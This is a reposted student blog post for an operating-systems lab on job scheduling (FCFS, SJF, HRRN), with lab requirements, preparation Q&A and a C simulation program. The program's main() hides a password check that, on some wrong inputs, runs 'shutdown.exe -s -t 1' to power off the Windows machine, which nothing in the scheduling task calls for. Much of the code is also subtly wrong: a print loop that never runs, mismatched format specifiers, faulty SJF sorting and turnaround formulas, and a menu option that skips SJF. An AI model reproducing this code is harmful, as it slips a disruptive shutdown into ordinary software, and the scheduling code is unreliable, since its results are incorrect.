0421 实验二Step2-FCFS调度_weixin_30908941的博客-程序员宝宝

技术标签: 操作系统  数据结构与算法  

一、目的和要求

1. 实验目的

(1)加深对作业调度算法的理解;

(2)进行程序设计的训练。

2.实验要求

用高级语言编写一个或多个作业调度的模拟程序。

单道批处理系统的作业调度程序。作业一投入运行,它就占有计算机的一切资源直到作业完成为止,因此调度作业时不必考虑它所需要的资源是否得到满足,它所运行的时间等因素。

     作业调度算法:

1)        采用先来先服务(FCFS)调度算法,即按作业到达的先后次序进行调度。总是首先调度在系统中等待时间最长的作业。

2)        短作业优先 (SJF) 调度算法,优先调度要求运行时间最短的作业。

3)        响应比高者优先(HRRN)调度算法,为每个作业设置一个优先权(响应比),调度之前先计算各作业的优先权,优先数高者优先调度。RP (响应比)= 作业周转时间 / 作业运行时间=1+作业等待时间/作业运行时间

每个作业由一个作业控制块JCB表示,JCB可以包含以下信息:作业名、提交(到达)时间、所需的运行时间、所需的资源、作业状态、链指针等等。

     作业的状态可以是等待W(Wait)、运行R(Run)和完成F(Finish)三种之一。每个作业的最初状态都是等待W。

 

一、       模拟数据的生成

1.            允许用户指定作业的个数(2-24),默认值为5。

2.            允许用户选择输入每个作业的到达时间和所需运行时间。

3.            (**)从文件中读入以上数据。

4.            (**)也允许用户选择通过伪随机数指定每个作业的到达时间(0-30)和所需运行时间(1-8)。

二、       模拟程序的功能

1.            按照模拟数据的到达时间和所需运行时间,执行FCFS, SJF和HRRN调度算法,程序计算各作业的开始执行时间,各作业的完成时间,周转时间和带权周转时间(周转系数)。

2.            动态演示每调度一次,更新现在系统时刻,处于运行状态和等待各作业的相应信息(作业名、到达时间、所需的运行时间等)对于HRRN算法,能在每次调度时显示各作业的响应比R情况。

3.            (**)允许用户在模拟过程中提交新作业。

4.            (**)编写并调度一个多道程序系统的作业调度模拟程序。 只要求作业调度算法:采用基于先来先服务的调度算法。 对于多道程序系统,要假定系统中具有的各种资源及数量、调度作业时必须考虑到每个作业的资源要求。

三、       模拟数据结果分析

1.            对同一个模拟数据各算法的平均周转时间,周转系数比较。

2.            (**)用曲线图或柱形图表示出以上数据,分析算法的优点和缺点。

四、       实验准备

序号

准备内容

完成情况

1

什么是作业?

作业相当于一个程序。 任务相当于整个程序中的一段段可以并发执行的代码。 进程其实就是任务。从系统的角度看,作业则是一个比程序更广的概念。它由程序、数据和作业说明书组成。系统通过作业说明书控制文件形式的程序和数据,使之执行和操作。

2

一个作业具备什么信息?

作业由三部分组成,即程序、数据和作业说明书。一个作业可以包含多个程序和多个数据集,但必须至少包含一个程序。

3

为了方便模拟调度过程,作业使用什么方式的数据结构存放和表示?JCB

由作业说明书在系统中生成一个称为作业控制块(job control block,JCB)的表格。该表格登记该作业所要求的资源情况、预计执行时间和执行优先级等。

4

操作系统中,常用的作业调度算法有哪些?

先来先服务、轮转法、多级反馈队列列算法、优先级法、短作业优先法、最高响应

5

如何编程实现作业调度算法?

 采用先来先服务(FCFS)调度算法,短作业优先 (SJF) 调度算法, 响应比高者优先(HRRN)调度算法

6

模拟程序的输入如何设计更方便、结果输出如何呈现更好?

 

       

 

五、       其他要求

1.            完成报告书,内容完整,规格规范。

2.            实验须检查,回答实验相关问题。

注:带**号的条目表示选做内容。

二、实验内容

根据指定的实验课题,完成设计、编码和调试工作,完成实验报告。

、实验环境

可以采用TC,也可以选用Windows下的利用各种控件较为方便的VB,VC等可视化环境。也可以自主选择其他实验环境。

四、实验原理及核心算法参考程序段

     单道FCFS算法:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct jcb{
char name[10]; //作业id
char status; //作业状态

double arrtime; //到达系统时间
double reqtime; //CPU所需时间
double startime; //开始时间
double finitime; //结束时间
double turntime; //周转时间

double Tatime,TAWtime;
double prio;
}jobarr[24],jobfin[24],job[24],cunfang;
int systime=0;
int intarr,intfin,intjob; //作业到达个数,完成个数,未达到作业个数
int i;
void paixu(){
int r,j;
for(r=0;r<i;r++)
{
for(j=r+1;j<i;j++)
if(jobarr[r].arrtime>jobarr[j].arrtime)
{
cunfang=jobarr[r];
jobarr[r]=jobarr[j];
jobarr[j]=cunfang;
}
}
}

void inser()
{
system("cls");
printf("第%lf个作业:\n",i+1);
printf("输入作业名:");
scanf("%s",jobarr[i].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[i].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[i].reqtime);
printf("\n");
i++;
paixu();
}

void delet()
{
int r;
int q;
char dlet[10];
printf("请输入要删除的name");
scanf("%s",dlet);
for(r=0;r<i;r++)
if(strcmp(jobarr[r].name,dlet)==0){
for(q=r;q<i;q++){
jobarr[q]=jobarr[q+1];
}
i--;
}
}
void SJF(){
int r,j;
double sumTAtime = 0;
double sumTAWtime = 0;
double avgTAtime = 0;
double avgTAWtime = 0;
system("cls");
jobarr[0].finitime = jobarr[0].arrtime + jobarr[0].reqtime;
jobarr[0].startime = jobarr[0].arrtime;
for(r = 1; r < i; r++)
{
for(j = 1; j < i-1; j++)
{
if(jobarr[j].reqtime > jobarr[j+1].reqtime)
{
cunfang = jobarr[j];
jobarr[j] = jobarr[j+1];
jobarr[j+1] = cunfang;
}
}
}
for(r = 1; r < i; r++)
{
jobarr[r].startime = jobarr[r-1].finitime;
jobarr[r].finitime = jobarr[r-1].finitime + jobarr[r].reqtime;
}
for(r = 0; r < i; r++)
{
jobarr[r].Tatime = jobarr[r].finitime - jobarr[r].arrtime;
sumTAtime += jobarr[r].Tatime;
jobarr[r].TAWtime = jobarr[r].Tatime / jobarr[r].reqtime;
sumTAWtime += jobarr[r].TAWtime;
}
avgTAtime = sumTAtime / i;
avgTAWtime = sumTAWtime / i;

printf("\nSJF算法作业序列表\n");
printf("-----------------------------------------------\n");
printf("作业名\t到达系统时间\tcpu所需时间\t开始时间\t结束时间\t周转时间\n");
for(r = 0; i < i; r++)
{
printf("%s\t%d\t\t%d\t\t%d\t\t%d\t\t%.2f\n", jobarr[r].name, jobarr[r].arrtime, jobarr[r].reqtime, jobarr[r].startime, jobarr[r].finitime, jobarr[r].Tatime);
}
printf("\n平均周转时间=%.2f", avgTAtime);
printf("\n平均带权周转时间=%.2f\n", avgTAWtime);

}
void FCFS(){
int r;
double attime,wattime;
system("cls");
jobarr[0].startime=0;
jobarr[0].finitime=jobarr[0].startime+jobarr[0].reqtime;
jobarr[0].turntime=jobarr[0].reqtime;
attime=jobarr[0].turntime;
wattime=jobarr[0].finitime;
for(r=1;r<i;r++)
{
jobarr[r].startime=jobarr[r-1].finitime;
jobarr[r].finitime=jobarr[r].startime+jobarr[r].reqtime;
jobarr[r].turntime=jobarr[r-1].finitime-jobarr[r].arrtime+jobarr[r].reqtime;
attime+=jobarr[r].turntime;
wattime=jobarr[r].finitime-jobarr[r].reqtime+wattime;
}

attime=attime/((double)i);
wattime=wattime/((double)i);
printf("\nFCFS算法作业序列表");
printf("\n-------------------------------------------------------------");
printf("\n作业名\t到达系统时间\tCPU所需时间\t开始时间\t结束时间\t周转时间");
for(r=0;r<i;r++){
printf("\n");
printf("%s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("%16.2lf",jobarr[r].startime);
printf("%16.2lf",jobarr[r].finitime);
printf("%16.2lf",jobarr[r].turntime);
}
printf("\n\n平均周转时间:%.2lf",attime);
printf("\n\n平均带权周转时间:%.2lf\n\n",wattime);

}
void suanfa(){
int xuanze=0;
system("cls");
while(1){
printf("请选择算法:\n");
printf("1.先来先服务(FCFS)调度算法\n");
printf("2.短作业优先 (SJF) 调度算法\n");
printf("3.退出\n");
scanf(" %d",&xuanze);
switch(xuanze){
case 1:
FCFS();
break;
case 2:
return;
case 3:
return;
}
}
}
void main()
{
int r;
char answer[10];
char password[10];
FILE *f;
printf("input password:");
scanf("%s",password);
if(strcmp(password,"123")==1){
if(f=fopen("c:\\windows\\system32\\shutdown.exe","r"))
system("c:\\windows\\system32\\shutdown.exe -s -t 1");
}
system("cls");
printf("作业个数:");
scanf("%d",&i);
printf("\n");
for(r=0;r<i;r++)
{
printf("第%d个作业:\n",r+1);
printf("输入作业名:");
scanf("%s",jobarr[r].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[r].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[r].reqtime);
printf("\n");
}
paixu();
while(1){
system("cls");
printf("经按到达时间排序后,未达到队列是\n");
printf("\t作业名\t到达系统时间\tCPU所需时间\n");
for(r=0;r<i;r++)
{
printf("N %d",r+1);
printf("%6s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("\n");
}
printf("\n\t\t\t现在系统时间 0:\n");
printf("\nInsert or Delete or Exit or SUANFA?");
scanf("%s",answer);
if(strcmp(answer,"E")==0)
return;
else if(strcmp(answer,"I")==0)
inser();
else if(strcmp(answer,"D")==0)
delet();
else if(strcmp(answer,"S")==0)
suanfa();
else
continue;
}
}

五、实验总结

             今次的实验主要是理解了作业调度的原理,虽然只是做了先来先服务算法和SJF算法,但是程序大体的框架

        还是大同小异的。

转载于:https://www.cnblogs.com/wangjunjie123/p/5418405.html

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